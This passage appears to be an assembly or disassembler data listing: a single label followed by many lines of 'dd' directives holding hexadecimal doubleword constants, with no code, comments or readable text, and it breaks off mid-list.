9C2D467Bh dd 0D7900F7h, 3A13730Ch, 4906B6A6h, 9620D15Fh, 631606C0h dd 89F88715h, 0A52AEC00h, 44772F3h, 9F6B1DABh, 21851807h dd 0A57C122Dh, 0D6F80E00h, 72623B06h, 0EC670325h, 3AFA87D8h dd 40EEE999h, 347721B4h, 1D18EB60h, 83B86Bh, 510918ABh dd 0FBF043F9h, 5E1A1300h, 0A026440Bh, 182900DBh, 8611BB5Fh dd 0FBFC0E62h, 3D1F9F44h, 0AC008873h, 0F9C16099h, 0C801F89Ah dd 0ADE41AA9h, 0F44A658Fh, 1C8CB963h, 62935DA0h, 230611C0h dd 0F3CC5ECh, 0E4F84B2Ch, 80080819h, 0EC1AA321h, 0AF3FF7h dd 0E4CF2C24h, 0D3BAD4EFh, 9FB89E54h, 6BE07B00h, 0F183A1C7h dd 2D7D0F91h, 8D601F0Dh, 6395D09Bh, 0B9301114h, 1C8E28ECh dd 69BD6E30h, 0A83D8739h, 0C4CA398h, 0EC2C63D6h, 670623B8h dd 0FA881084h, 229420D8h, 250B3801h, 0FDFC5B63h, 516B29F8h dd 45F184D7h, 53087D8h, 643DE9B6h, 39803260h, 8EC2730h dd 4A4C3C31h, 0BFED62h, 20EC1E9Fh, 0A0195D7Ch, 9E19EE6Bh dd 0EFC900EFh, 4AC51C54h, 0C0022869h, 0D6033EFCh, 0EF748167h dd 3420C490h, 9493C7h, 7348ACF1h, 8085D802h, 0C1B83A2Fh dd 0BBB8113Dh, 5285B200h, 608FC0B4h, 0A28A2428h, 0CD6D0300h dd 0D11D5F7Fh, 0CA145266h, 0ACF08034h, 425A7345h, 392EC0D7h dd 298A3B8h, 0D03A811Dh, 9090609Fh, 0DB066D40h, 34C2E061h dd 0C960C870h, 46ACEFC0h, 64125273h, 2909D422h, 1869B838h dd 0F5D918h, 4E409D53h, 943CC91h, 0ECA57800h, 8583BABDh dd 95892F6h, 4A727664h, 26A63880h, 70014588h, 1BB27508h dd 2980F987h, 4C44F5AFh, 30244DDAh, 0F11D9C3Dh, 82BC60Ch dd 2D25181Ah, 1F26102Ah, 3046F890h, 36A5047Ch, 32079F76h dd 13CC20F0h, 0C40518A5h, 10D66779h, 423A583h, 4F19ED48h dd 733C82DAh, 492E6DC1h, 0A0788A94h, 0C904A0D2h, 0BB4894BCh dd 2CB835C0h, 0D0625673h, 2B0FE222h, 60DBB85Eh, 0D0C749F2h dd 3070EACCh, 65687CFEh, 1912F9CEh, 6C603BC0h, 102FEC1Dh dd 0C84B1C3Ch, 14A181E9h, 0E5C90EECh, 5F9E202Ch, 0A677253Eh dd 530554DEh, 0D840A9D2h, 0E443A70Eh, 34BB74C9h, 0C019A6D3h dd 12EEDBE1h, 0FE8A7301h, 7044B423h, 0FD18431h, 9884D821h dd 83B3519Fh, 52F97380h, 55C32A2h, 0A9C961B6h, 8523C83Ah dd 0D2B89B01h, 91F8CDDAh, 6F210695h, 79845ECFh, 1883856h dd 3C30EC26h, 70C4834h, 19A021C0h, 5B9FECh, 5404AC89h dd 438169EDh, 7262005h, 8C03F148h, 0E16DB0E4h, 0FD4046A2h dd 133D2989h, 894660Eh, 8BCD454h, 1EF6D6Eh, 0D79C3137h dd 0C89C42A5h, 0F11F0C64h, 0C24B86Ah, 11101769h, 0C84483D4h dd 0E25100A0h, 320A4B4Ch, 0F200C599h, 0AF749163h, 3D3AA205h dd 9060F57Fh, 0EA70D2F0h, 6BC4A750h, 0D929D112h, 0BE9C6005h dd 3DE18801h, 58838DDBh, 0F752F973h, 88752006h, 9138489Ah dd 18D4D134h, 27E0F864h, 6DDEE142h, 67F97D0Fh, 8BC01ADAh dd 0B1C064EBh, 1884D9C8h, 1BBF00E0h, 26DC5591h, 4506A3B5h dd 0EB5D6ED6h, 4F2B0928h, 100F9AD2h, 7E2AF103h, 7075410Eh dd 0D3D878C6h, 3CB212h, 0C27D515Dh, 0A9452C85h, 943A2977h dd 8E51E1CDh, 0A824D793h, 0D6E9073Eh, 7AED377h, 0F6A2709Dh dd 1E289C01h, 0A1FA808Fh, 2770D4A8h, 0C26C8600h, 9783F74Ah dd 0E42EFEEDh, 0D4E012B3h, 620812DDh, 0F330BDE8h, 732A13ACh dd 251838F2h, 33B83C01h, 7EE12DA5h, 0C70AAF9h, 79D506CDh dd 89A276D6h, 0C06D9F2Ch, 0DE897F61h, 94A40405h, 4648509h dd 1F3691Ch, 0C166CD0Dh, 5F3CD083h, 180BBEF9h, 1DAA6008h dd 80E21170h, 0E1C837ADh, 0C1BD00E9h, 9FEF22A9h, 4CA81378h dd 8F808961h, 17AC260Ah, 5EE4A62Ch, 0A006EB46h, 0C06275E2h dd 0C1F58738h, 0ED7CDC41h, 7B1B7C34h, 4AD3E824h, 3E2847A7h dd 0F0C3A074h, 0D113EB1Ah, 5C0207F1h, 50A39C32h, 2E524A4Ch dd 0DE2384h, 524C8642h, 0A09F35Ch, 227BCB8Ah, 0ABD648h dd 6315FECEh, 80881E49h dd 72F0A545h, 86448C2Fh, 0A52D073Ah, 42CDA31Ah, 0E0505191h dd 0B12A9A00h, 66DC1E8Ah, 8040EB89h, 58AB6A9Fh, 0DDBCEC4Dh dd 0EACC008Ch, 0B47C6FFDh, 1209600Fh, 1865F0BCh, 623D02Ch dd 0E1673CADh, 0CD1370D8h, 783A5F92h, 65008C76h, 9376195Dh dd 0E86AEE4Bh, 43550253h, 0EF217330h, 3C0BCCA1h, 0A47DF16Fh dd 0CE02D470h, 0A0E285C5h, 515E8090h, 0A70C0011h, 92620EB4h dd 311BA032h, 0C471DA9Bh, 35B741C0h, 0F6E400C2h, 3765346Eh dd 88002FB6h, 765EE2E3h, 0A04D1270h, 5CF126D4h, 231A1AD4h dd 88469ECh, 0B5040F2h, 7401610h, 78CD46E4h, 0CAB4D1D0h dd 0DC5C2065h, 70914A06h, 1350443Eh, 31FA24F1h, 62415A50h dd 0E9EE089Ch, 0EF4676C8h, 0DDF86100h, 6D2498BEh, 86452312h dd 8523C40h, 0AE77162h, 0E1873B9Dh, 0EEF4002Ch, 9550ADD3h dd 9400A198h, 217A02D4h, 5C51FDCFh, 2D0937BCh, 2C824AA7h dd 0B852EA18h, 22273C46h, 1417ECFCh, 20CF4C62h, 0B3EC15A4h dd 0B67DD602h, 901B6314h, 0BA52C70h, 4177635h, 2B1CD496h dd 88C7A514h, 6A10ECDFh, 0ABBD63Eh, 0AA22E075h, 0A88209A0h dd 124CEC2Ah, 8888CB19h, 0EF5AC007h, 0E900AF0Dh, 48066D68h dd 49DD7F64h, 2ED370DFh, 2FDC2390h, 3A7131D8h, 558F638h dd 8CD7496Ch, 0EB88F0CEh, 977195C0h, 84BD58F0h, 13457C40h dd 3F67C07h, 3697DA78h, 3EB250B0h, 0B70D90A0h, 4C3BDB17h dd 234E0043h, 0AE8AB9Ch, 0EACD65A9h, 8215C48h, 210D80C0h dd 65A7DC51h, 7DC59203h, 77CD359h, 61E06A99h, 9D3AADh dd 0FC31D9E8h, 0AF00BA0Ah, 0CDB66D98h, 0F97E78D6h, 249FA3ECh dd 0A434EC7Ah, 8AF90454h, 0DB00C003h, 78657E88h, 50814BD0h dd 0D0364DACh, 8F621BE0h, 4C24A92Ch, 0C9EB8989h, 21183724h dd 3C71BF90h, 0FD58249Ch, 0C7EC3B18h, 838E8ACh, 0BC02D86Ch dd 0C785117Fh, 985E1170h, 2B3CC240h, 80304B24h, 0AFEC33A6h dd 91D21B1h, 0F340B452h, 757CB56Ah, 0D4712ABh, 23A83AECh dd 57A20085h, 0A1006EDh, 8601400Ch, 6821DCh, 764FAE22h dd 0BF0421CFh, 0D7420700h, 0D5BE7ACBh, 1DEF4ED1h, 326D8AF8h dd 6B0880F4h, 93774CCDh, 46E10C64h, 43B93480h, 0A00E4CF1h dd 662A6480h, 4404F888h, 19AC234Bh, 9C8028DBh, 0DB806B1Dh dd 0D04DD200h, 0EB6C72E0h, 4BAB015Fh, 0F022699Fh, 0B3C4227h dd 89297CE0h, 2879E780h, 0ACC0E84h, 0D0C9306Eh, 0EE465C44h dd 48265904h, 4EE8C10Bh, 0CE6D0031h, 70F0B314h, 0DA02249Dh dd 0FDA96949h, 802C40BBh, 86E480FAh, 30D55920h, 9F38F3DEh dd 91DFF177h, 8BD87842h, 9038C4E0h, 2BE4658h, 7329ACF4h dd 10DF313Ah, 0A0B83D2Ah, 246724E1h, 8468F384h, 42C1316Fh dd 0E712306Ah, 60EAC4D8h, 1D600787h, 44BBDAA2h, 0F49C0BFEh dd 0B20039BCh, 0E850EEF7h, 814FB4Fh, 0DA9CE45Dh, 3A68A80h dd 4ED560h, 0AB0E43F4h, 8FD2147Dh, 0B33CB500h, 0E65090EDh dd 6080AF34h, 0AA0DDD09h, 61997E09h, 0FD1C02DBh, 801E04EDh dd 45D172BDh, 6D8F158h, 9BEA286Dh, 78C88070h, 16C340A1h dd 67462009h, 6FBC48FCh, 0ED8740CDh, 85583162h, 41840EDEh dd 4B94B161h, 0C383C8E8h, 0E0B82127h, 0F416BC89h, 5C42756Eh dd 6D19B122h, 0EE1FC06Ch, 745C9F7Bh, 9DE380FCh, 7CE93A8h dd 7EA908F1h, 0E0E1C0EFh, 0A0A0AD2Fh, 756FA020h, 537100C9h dd 483807A5h, 440024E0h, 9C2E86Bh, 5169A39Ch, 21F422C1h dd 48704Bh, 53C4E4BDh, 0F102279Bh, 66580A02h, 8B99AFEEh dd 0CDA01094h, 0B990505Eh, 0DC6D0413h, 82040775h, 0EC48605Ch dd 9968C13Fh, 1944AC98h, 0EFA54660h, 3E77210h, 398089C8h dd 460FA52Eh, 0AC61C52h, 0A3183473h, 30E3B20Ch, 1A07FF75h dd 24183477h, 0E268E589h, 9618BFEDh, 0A5FB06D3h, 0E8052C67h dd 83EA9800h, 7C7391EBh, 2387478h, 12DC6FA7h, 0AA40CFE8h dd 0BA33938Bh, 3C3080Fh, 0E81AF521h, 2489FADCh, 794091F0h dd 0CAE81580h, 448C1FB2h, 1D00FAC1h, 0C630ABE8h, 7699F7AFh dd 0FE2500DFh, 9795CC49h, 6F30AAC2h, 3BF9303Ch, 93CF3A03h dd 838F1060h, 19067F8Eh, 10AB2FF7h, 21896009h, 538E8BAFh dd 38CCEF1Ch, 450E9500h, 0CD6C91Ah, 0CF78AA6Ah, 1D125189h dd 770B3419h, 0C641002Ch, 37B89D3Ch, 0F878AB8Fh, 458EA7CFh dd 8788D1AEh, 8E85D583h, 839398BDh, 661B1D31h, 36768001h dd 0B79FE746h, 2E3C9B40h, 771FDCCh, 0F319790Dh, 281F8159h dd 8E1AE2C0h, 114017A8h, 0B40E808Ah, 0CA4398h, 4742DE2Ah dd 8D04B6B3h, 0AC6460CAh, 0F5179247h, 63F1E9E0h, 0E599CE49h dd 4F13C083h, 7E53111Ch, 73C48280h, 66CC37B4h, 215B086Bh dd 53760C00h, 61BF330Dh, 0DDCC00CEh, 65D43A9Dh, 8900BAF6h dd 6B3C90AAh, 0FE152E4Dh, 9F1B017Ch, 0B81AB72Fh, 424980BBh dd 713AD01Dh, 63197CEFh, 28CE19A3h, 9101E18Eh, 53E73E9Ch dd 21805D12h, 1FD1482Eh, 4C009D0Ch, 0C25FBE1Eh, 0DECE50h dd 51372A54h, 0A86B8890h, 0CA87F9C0h, 62E1778h, 264FD7CCh dd 0BC6008D4h, 78C36821h, 0C6CB00F8h, 30E5E9F6h, 0F11C26E4h dd 0A483D679h, 0D0429B6Fh, 0EB8B046h, 491495FAh, 116619E3h dd 0C6B407CDh, 5EE0DAE6h, 5A038546h, 0B264DA0Dh, 8900917Ch dd 55985B13h, 11826D4h, 0C5B8E578h, 4C73377Bh, 728CC1DCh dd 0C4811141h, 0A856887Bh, 2B533F3Ch, 68EE1E70h, 12FE0681h dd 0D3EC2147h, 86C92000h, 858F9B65h, 147C4CDFh, 18CDFE8h dd 6B8FB586h, 0C8B39730h, 0C630CC43h, 1D2EE1ADh, 0FC4C4826h dd 0E289843Ch, 8000CF71h, 0DEC94ECDh, 2B08A51h, 0F03389E4h dd 432E1678h, 0C26980C4h, 716778h, 2E03EB8Fh, 3A4CD794h dd 0B0C84D24h, 0C4119C48h, 9E4F428Eh, 8C3615Dh, 8A0EE87Ah dd 34BF008Eh, 7D5F9E43h, 99023319h, 491AC6CEh, 0C23091CDh dd 80E44018h, 1143C423h, 780E005Fh, 3AC4AE53h, 48EF606Dh dd 8E138468h, 27E22414h, 0C0B00494h, 3C92864Eh, 0E79487CEh dd 84481194h, 1378CEC0h, 22EC462Eh, 0C76C0080h, 2CA2C478h dd 5702A352h, 0E7CF5364h, 0D1F88F95h, 0CBE81680h, 448C17B2h dd 1E01F9C7h, 0B0EAC4E8h, 0A083BD72h, 0CDCCC037h, 473F71CEh dd 77918FF6h, 41419EC2h, 0A3C39AC8h, 6AF67CF1h, 444447F8h dd 0B0776350h, 5AD8B0Dh, 695FE7E4h, 9588074Eh, 7E1812CCh dd 3955E0E0h, 281AACA0h, 8402C107h, 6E806646h, 14FB208h dd 0A4488D29h, 47501A15h, 69C826B8h, 0AACE730Ch, 6077F032h dd 0CC9FF93Bh, 1D2A5AD2h, 1E49FC66h, 8E8080FCh, 8C9F1940h dd 0D28C44h, 7AC68E88h, 4F8635ECh, 6913F803h, 0C2B830F9h dd 26A48093h, 0C425A62Dh, 14B0B90h, 91EEC9CDh, 86E848B2h dd 78CCFCB0h, 0FC2E1111h, 6A808188h, 9E9178C5h, 8D8A034Ah dd 43127AA5h, 62E93Ah, 1EA42CAh, 3C4AE11Dh, 3A001BC1h dd 0C8B2275Bh, 98C19DCEh, 56160D30h, 0C7EC6405h, 14AB4E8h dd 90A76EBAh, 74C8A8A4h, 77008246h, 69DFC97Fh, 2C0E797Ah dd 29A9145h, 0A0712A43h, 0CE7CF5A4h, 7E13020Bh, 367AC24Bh dd 0EAC21743h, 0B8B1D4A3h, 0CEB83CE7h, 0D8394C68h, 9E801811h dd 0AF19428Eh, 86D40087h, 74F8848Eh, 6E3D1A07h, 19F0A285h dd 242A8B22h, 32041E97h, 847A7F1h, 7608B44h, 6107D5DAh dd 54F920E3h, 994E19B0h, 5830B095h, 3B9CE46Bh, 0E741F894h dd 0BE93430h, 9F161DF9h dd 4203AA39h, 6B51566h, 79441238h, 924C299Ch, 8CDEBCE8h dd 7B9DC200h, 0DD949807h, 4261F43Ch, 9220064h, 0AE5471Bh dd 28B113h, 15A51768h, 5A054490h, 77F5CF92h, 0A1B6A081h dd 74CEC007h, 4C3CACC9h, 0CAB84811h, 10808C98h, 0FE768366h dd 80B705B4h, 0D0695E1Ch, 95024C9Ch, 1910D540h, 40A572D8h dd 0F2C032E6h, 1C723050h, 0E8EE992Ch, 950A2E00h, 0C080CE48h dd 33838B89h, 4C01E1F9h, 7A1CE488h, 0F0CCCA0Ch, 44B648ACh dd 0F6F21F02h, 7841974Fh, 8C8188Ah, 0DC2E1578h, 664083C4h dd 685F78C1h, 0DD183507h, 812F8588h, 2E752F4Dh, 93753E4h dd 3BFF2B42h, 716F9047h, 466E8981h, 0B502895h, 220902C4h dd 90131F38h, 3D61C0h, 30ED7ED6h, 0CE039C6Bh, 45499E63h dd 0CB89F814h, 0A16D13F2h, 30FD01BCh, 63DC0A44h, 30BDA2D8h dd 5E0413CEh, 836ED0B2h, 37F3D491h, 7D66B107h, 0A3B094A9h dd 8C8BBC7Ch, 0C2013E00h, 0D63691Dh, 0CFBF0018h, 2BEDB2CCh dd 611F14AAh, 57C19AF6h, 89FD5E19h, 566F7084h, 0C814CBFAh dd 0ED6DC289h, 8B416360h, 441B1900h, 0B494659Fh, 0B623242Eh dd 1198489Ch, 0CC02938Bh, 47D42E14h, 0C0670314h, 0FAE80C78h dd 0B40023DAh, 30B217CBh, 96647A53h, 811C1160h, 197E8E82h dd 128431D6h, 1F6BE1D0h, 0ECB0E8D0h, 4DC0A082h, 0A4194867h dd 441CC623h, 23C49C84h, 7C050A38h, 0FEA9FA53h, 860CFF81h dd 2E3E1ED0h, 112C4790h, 0E81B8077h, 8C0FB2C8h, 0FCC644h dd 6A79E803h, 0ECD1E227h, 2095490h, 10CF1D8Bh, 1C03FCCh dd 8A338DF3h, 0E06A7098h, 4E00090Dh, 1B7A075Dh, 0B41320h dd 3F297DA0h, 7F153596h, 0C548C003h, 5D9B902h, 0F9666E58h dd 2FFC1791h, 572310h, 0E701FC26h, 0B200D44Dh, 0DF13BB1Eh dd 2EB03AF0h, 81DCB746h, 82D93CF1h, 2DA46489h, 9847FE20h dd 801E74B0h, 0BC949017h, 1EC6465Eh, 987ADE7Ah, 75D836E9h dd 5E4894ABh, 0EC075546h, 0F1AAEA9Fh, 0D774C089h, 1CC54823h dd 0C49D8445h, 9385Bh, 5AC8537Dh, 61A34E1Bh, 9AACC501h dd 39E32842h, 0F1CF034h, 35BAF8DCh, 0B6481D84h, 6A98E038h dd 0D7E500A2h, 0C449A414h, 94964A61h, 7F63DF44h, 6BC48390h dd 335A448Ch, 0FE537700h, 0D20E5579h, 0B09E28C0h, 0D6E400CCh dd 1B5975A1h, 0A509C778h, 37481351h, 333580E4h, 888662ABh dd 58A0903Fh, 8064CF38h, 0DCFB8130h, 97B1002Dh, 0D7BCBB2Ah dd 66098CACh, 456E24F6h, 61BCE400h, 6EC8857Bh, 0FAFF2627h dd 8B465E18h, 1A50075h, 5AC7981Dh, 0CF2E97ECh, 0C9120B9Bh dd 5E51E4C7h, 0A820B0F1h, 0C84625ECh, 0C4912C97h, 3A25E580h dd 30EBBA0h, 0FAC72F43h, 44744720h, 42146088h, 2D790E25h dd 0A625B069h, 1EEC0685h, 180C2997h, 0B886A17Eh, 90E61CCEh dd 5C1067CCh, 2F409A25h, 18E898E0h, 0B04CCD15h, 0FE53C796h dd 3089A2A8h, 0DE0E4674h, 806A62FEh, 0CC94E679h, 1E04ACFh dd 42052E28h, 2078A444h, 0B8BCFE0Dh, 56F0B836h, 9B0597A3h dd 34ED02C6h, 80F0D802h, 0E4F865E5h, 60466158h, 302F8C47h dd 4D8ED000h, 9B31231Bh, 9404ACAAh, 2340A286h, 0E811017Dh dd 0EFFB2CEh, 0E819F600h, 0E145090h, 884BA300h, 64A24105h dd 44309677h, 78CD6085h, 0E42E2112h, 78C66DC0h, 0EE980072h dd 3644240Fh, 0D200C15Ch, 7D961D11h, 4FC692DDh, 23E82FE7h dd 1D980288h, 78609C7Fh, 0D0B07EB0h, 60E89BE8h, 0F6C9740Ah dd 2203E0B6h, 0E2FE2583h, 76904150h, 0E80A1418h, 8C07B2C9h dd 1CFB70h, 0D6EB7DE8h, 7FB3AE5Dh, 1A240701h, 0D1E5E2CDh dd 585FEC42h, 0B69E3F10h, 164EDCD4h, 5F33B51Ah, 0D2F8107Ch dd 58C8C0CAh, 2662BCEh, 33DF664h, 21005E12h, 4E1AD7AEh dd 1F5F3A6h, 5BEE680Eh, 0C0C68CCCh, 1D0608D9h, 0BA357E1Bh dd 1A722880h, 0FCF0A35Ch, 418E8160h, 1687192Dh, 89D103A4h dd 1182CE8Eh, 0C18D3AC0h, 0B12E48C0h, 4BAE1EFDh, 230C2F4Bh dd 0E1070356h, 0DCE859DFh, 94B80A24h, 9984E20h, 0F3CC6947h dd 26151098h, 0E99A00F9h, 0A08B0EE4h, 20D332C4h, 0B1F17E8Ch dd 1B301380h, 3020CA1Dh, 8BA9C591h, 5BE1649h, 80203094h dd 127F649Eh, 40CE7947h, 33456300h, 0CB1F5E7Bh, 684157CAh dd 13AC28FBh, 0B61DC020h, 0D85F4028h, 0B91F42F5h, 97008FAFh dd 0A1E9A2D6h, 0C6953BC9h, 69AF192h, 0A832F50Ch, 8AD1B091h dd 40012418h, 7BE293C0h, 0CE451AFh, 5A70BA9Eh, 0DF784012h dd 0C03075E8h, 0B6208603h, 0A82DD7E7h, 0B4EBEAh, 8834D91Fh dd 0B7F2C0B2h, 4419DA83h, 0C696098Ch, 0B0C5FAA5h, 596087C4h dd 0CC2CE858h, 0A32DE99Ah, 0A11C4228h, 11834413h, 550F1E99h dd 54823BC8h, 7945741Fh, 6FA47A05h, 0C3F27CF2h, 18B19F30h dd 0D8073B4Dh, 47809BFEh, 0D15E1219h, 0E9080092h, 0C3254826h dd 5620A898h, 0C69A065Fh, 51C878E6h, 0DA663801h, 1DE5C4C9h dd 6E64F8h, 6C52470Fh, 2ABA2520h, 3FF0E31Ch, 43ED3A49h dd 669DC09Ch, 8F30BCABh, 90A06B2Eh, 0B6B8B294h, 329084E7h dd 0ECF12215h, 0C4F2D872h, 30B7C30h, 4618B7E2h, 0D907BD55h dd 0EA4B6B30h, 648B6E40h, 2689C0B9h, 231CAE5Fh, 80004577h dd 1DF31428h, 185020C0h, 382FADA4h, 0FC7F5626h, 10BBF498h dd 11BAE70h, 3756A5CAh, 0AD4CF8BEh, 919C1748h, 899C8083h dd 0A866D94h, 4051DCB9h, 652D059Ch, 0A2A0B3D1h, 0D49530C2h dd 9D86D31Eh, 240E1B53h, 1C797082h, 0E861E2C6h, 7B1216E4h dd 23783A49h, 0E52A00BFh, 37A5501Fh, 0B195C000h, 3D4B555Fh dd 0A43CE532h, 4B788058h, 0F58443B4h, 83ECC47Dh, 98101AB8h dd 9C164A5Ah, 8FACC472h, 0E18688D8h, 601D4941h, 0C872EA8Ch dd 0D3200F7h, 0A8D851C7h, 40F6D460h, 432EA4A0h, 465E2091h dd 0FBBB03C5h, 7C1BB4A2h, 0C93D0581h, 0E3148CC6h, 30BEA2A0h dd 4B0EBBF7h, 0EC2A3FD6h, 18D159CAh, 72BDECC9h, 0D800AB97h dd 0C1A5339Eh, 134D7EC6h, 200244C5h, 0AF12CEB4h, 6B5896E3h dd 11428090h, 3747F2Eh, 1AC6367Ah, 3013388Dh, 54917E10h dd 6034AC83h, 4D44A2Dh, 0A9B89E8Ch, 60674CD4h, 63EDDD51h dd 562248D2h, 0A61FE800h, 60030DF6h, 24D0CE48h, 2093461h dd 4E041025h, 0CCA74069h, 1190C825h, 9C181ABCh, 19448E09h dd 831865BFh, 808E84D6h, 8DCFBAF0h, 86C47F00h, 95E18B2h dd 4660C099h, 0B9B69FC0h, 0D09BB9D7h, 0E7C28E80h, 0F7241CE5h dd 0BA005291h, 297E13DEh, 440CBCCFh, 0E244A38Dh, 139230C5h dd 2C886309h, 12784016h, 735CA2FFh, 88565A98h, 0EE629C60h dd 15EC091Fh, 80056BD6h, 6B58533Ah, 583A003Ch, 125FA19Bh dd 4679C253h, 2868B91Ah, 2852B656h, 64216290h, 5E1C48B1h dd 0B190034h, 2E9E07C0h, 4E095129h, 0E8B61AD1h, 802AE660h dd 0A4322EBAh, 0D8DE386Eh, 114D1F84h, 66D78205h, 0C0824878h dd 689D4C79h, 0CE83DE11h, 22C09B62h, 491660ECh, 0E000EFF7h dd 5AB03268h, 8ACB29Ah, 0AE40B693h, 0ED08C02Ch, 0DDF012DFh dd 0A81C29A0h, 97370760h, 51CA2B6Bh, 2056382Ah, 24884960h dd 0F8F95D3Ah, 9012DF12h, 0AE4A9298h, 0B0E3E00h, 5396ADEDh dd 83D1037Eh, 8CB311C3h, 0C4B6FAE0h, 34B9AB77h, 0F418C5D1h dd 0CEB29509h, 0ADC0209Fh, 327EF47h, 77D2260Eh, 72D32C61h dd 0CEC338C8h, 9D37872Fh, 80869158h, 0AA8CE975h, 199A6FCFh dd 264C4640h, 1016254h dd 42AF0FE4h, 2185962Ch, 0D0797E1Ah, 9017110Ch, 0DFD1E899h dd 65E66E18h, 8061253Ah, 0B0559160h, 81856AB8h, 2A9EF530h dd 0FC159C05h, 0BA23F43Ah, 19331E03h, 0F2AD82B6h, 649F0108h dd 325B47Ah, 0B82C68E6h, 84008C50h, 8F38E62Fh, 2463521Ch dd 1FA408F8h, 5C9E207Ah, 1BE8C640h, 0CF8D1329h, 80A0DB94h dd 825A76D8h, 6E2402F5h, 9BD06230h, 83791C79h, 0A5006218h dd 1C3AE3EEh, 1D12979Dh, 2201B79h, 48BB9F38h, 86A0B120h dd 77F40474h, 0ACDF221Bh, 8CBEBC00h, 88F4CA0Fh, 695B4099h dd 0EF72B8D2h, 95250474h, 0C97C8CA0h, 0D87F63E6h, 1A41FC96h dd 0F4CFC524h, 3F70F0h, 0F657693Bh, 0DE3C79BAh, 0B1411230h dd 78B5C020h, 487B0EC2h, 50002660h, 0E1CBF53Ah, 42E0BCADh dd 335E19EBh, 37193378h, 4E794600h, 95A83ACBh, 0CEDE00C6h dd 12B4ECFFh, 4CB14D89h, 8918C7F1h, 930FC90h, 0A42D0830h dd 0FFB90CCCh, 1329352Ah, 4CF14560h, 797E573Dh, 975601B4h dd 135330D1h, 8921814Bh, 73957F47h, 99128920h, 0BFAC036Ch dd 44CAC223h, 9CB17CD8h, 8318BDD1h, 9553C103h, 0A1C32BB1h dd 0B47CC97Ah, 78C86BCh, 0CA1BAD85h, 2210E74Dh, 70476030h dd 1061BAC4h, 0B1D84C81h, 0E3211300h, 722CC84Bh, 20C4B883h dd 0BA5BD07Dh, 69E74808h, 8511A017h, 0C8E0B580h, 89C1B664h dd 5069E960h, 0C063E0h, 7620FA7Fh, 72F63D82h, 2949190Bh dd 91089F34h, 4D380C0h, 27CCBD6h, 132354C8h, 0D4404C7Ah dd 2C94E566h, 0AD021116h, 0D0AFC9CCh, 4F2601B0h, 0B157D763h dd 46746C95h, 0DDCA078h, 0F9A4A0E0h, 0BAF580D5h, 2696100h dd 9EAB8D25h, 468B4EB7h, 419534CCh, 0C7928C2h, 29E0C5D0h dd 18BF7140h, 3A3202C6h, 0FA40E90Fh, 89715C59h, 70004218h dd 35D6A2Ch, 0BCE826C2h, 0EC00DCA4h, 9E01BC35h, 15E07A5h dd 0E87CF6CCh, 2FE7ACA9h, 9064F821h, 886C4B09h, 0DD79C381h dd 50F31E8h, 0C5CCC112h, 0B34734D0h, 0BC5D2F4Eh, 1C18D40Bh dd 0B51895CFh, 0DD08F035h, 0B9A72C6h, 777C9FE7h, 2ECF6869h dd 7928D440h, 1237919Ah, 451D22Ch, 2AF4128h, 7415EC12h dd 829C8F18h, 0A6918E04h, 3E18B000h, 3F0E2DB0h, 990169F6h dd 0F6D8C6EEh, 18307DECh, 0E15C1250h, 1F02C997h, 0FB9B0A6Ch dd 0DBD8C06Ah, 280105D2h, 0B3CCDD9Eh, 513A8994h, 1854F11Ch dd 9B5605E7h, 87F91BF2h, 122274ECh, 5789CC00h, 485AC93Ch dd 760160BAh, 8AEA7DF6h, 44B9F1CEh, 0E04CE60Ch, 0F17425Fh dd 69C140D6h, 5A463A0h, 0CC4555DEh, 7A89C39h, 470729ECh dd 0DEACF9Fh, 0B3F3CC81h, 11B4798Bh, 0B8D03013h, 0C0C2BEBAh dd 0D8EE0496h, 884B4E84h, 383BA914h, 7B108056h, 0E741FE7Ch dd 791101E8h, 0B44665F0h, 29D03913h, 2E03E414h, 0D8BD9AD7h dd 98E99591h, 0F194005Dh, 52D57C7Dh, 794B4613h, 0C085605Eh dd 5180F737h, 5272148Eh, 4312C03Ch, 233C3AE2h, 0B02501C7h dd 2994D2B8h, 20961430h, 8CC2F8ACh, 3D835E07h, 0C6C0265Ch dd 0B1B49FD9h, 0E2123CB4h, 0DBD0C5E1h, 702E80CCh, 19B083C0h dd 0A841622Ch, 25BC3085h, 77CEEF40h, 2D2E0C23h, 22205DB6h dd 24DB134Fh, 0ACBFDC80h, 7B18F9FAh, 0E5688210h, 0B59E8031h dd 4225E4A4h, 6604902Dh, 40975B75h, 0AEB1677Ch, 2409EACEh dd 7BFAA473h, 52EF5864h, 658CB025h, 60BAE4C8h, 18A1F411h dd 98A6014Eh, 21C0BB64h, 4CF2ED06h, 0E60C0086h, 0CBC62E2Ch dd 8A751C51h, 0C92A4700h, 94D0BE34h, 0AED0B13Bh, 0C546561Ch dd 23EDC80Bh, 8F086880h, 0A5097F26h, 65E7D0B9h, 60C1E494h dd 0AA6D79h, 4361E9Fh, 4DD2252Eh, 0B47EF8A2h, 0AE540269h dd 0A28B0520h, 8F84001Ch, 0D1D82714h, 1106000Fh, 1E9EFDF3h dd 135A1762h, 0AF64B081h, 428031B8h, 0ED49BE96h, 0B42D2A0Fh dd 0E0586B10h, 0D38F21B1h, 80B8DBC8h, 45EDC380h, 9F721307h dd 6B68D2B0h, 1E6D490h, 0A8DACA00h, 8896383Fh, 579900CFh dd 677BF5C6h, 39072D26h, 1A2C98F0h, 54829CBh, 88016BF4h dd 491164E8h, 4AC6E3Fh, 0E400624h, 0B82CFAC0h, 8A4B4B3h dd 302AC29h, 3B9ACEh, 0D685E444h, 47D9D102h, 70DC0E8Fh dd 0C1CC27FCh, 8E20A8E6h, 0A4C2F84Ch, 19771EB4h, 0D006AD7Eh dd 5494B011h, 0C1465Eh, 816531A4h, 90BC33D9h, 454A2604h dd 0F0B74B6Ch, 5201E100h, 4B66B0E8h, 5D8039Eh, 584A4E76h dd 0DC0BA86Eh, 0D68025F1h, 7A3A585Eh, 11D41D9Dh, 920C8055h dd 0F8C807C6h, 0B0B8B8DEh, 166F7F55h, 83712A73h, 2398CF14h dd 3A491530h, 649A1C8Ch, 0CFBF786Eh, 0BAD1F4D7h, 1C25F260h dd 0A3F0123Ah, 0C1B582C0h, 284201A6h, 2E41BE8Fh, 6B4220BAh dd 0C4A4A7B8h, 30B704B0h, 3F630048h, 62270E56h, 4900A9C9h dd 0D3FB3C45h, 300D3011h, 0D0A0298Ah, 0CCB4CAB8h, 3B732605h dd 58CDB4A0h, 1EC8D8C4h, 12B8B140h, 4AB0808Bh, 19C8CC1Ah dd 91FC1DD8h, 42688EBAh, 4A3D5E99h, 36C5178h, 46812428h dd 0D6DB13B8h, 32B86D0Eh, 0E3E7C3A0h, 7EC1FF09h, 0D46CD99Ah dd 88D8CBE4h, 2218C0C6h, 792DD7C7h, 